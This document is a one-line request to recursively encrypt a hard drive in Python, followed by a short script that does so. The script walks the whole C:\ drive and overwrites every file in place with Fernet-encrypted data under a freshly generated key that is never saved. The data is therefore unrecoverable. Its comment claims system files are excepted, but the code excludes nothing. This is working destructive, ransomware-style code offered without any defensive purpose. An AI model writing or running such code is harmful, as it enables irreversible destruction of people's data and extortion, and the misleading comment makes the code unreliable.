recursively encrypt the hard drive in python

main.py
import os
from cryptography.fernet import Fernet

def encrypt_file(file_path, key):
    """
    Encrypts a file using a symmetric encryption algorithm.
    """
    with open(file_path, 'rb') as f:
        data = f.read()
    fernet = Fernet(key)
    encrypted_data = fernet.encrypt(data)
    with open(file_path, 'wb') as f:
        f.write(encrypted_data)

def encrypt_directory(root_dir, key):
    """
    Recursively encrypts all files in a directory.
    """
    for dir_path, dirnames, filenames in os.walk(root_dir):
        for filename in filenames:
            file_path = os.path.join(dir_path, filename)
            encrypt_file(file_path, key)

if __name__ == '__main__':
    # Generate a symmetric encryption key
    key = Fernet.generate_key()

    # Recursively encrypt the entire hard drive (except system files)
    encrypt_directory('C:\\', key)
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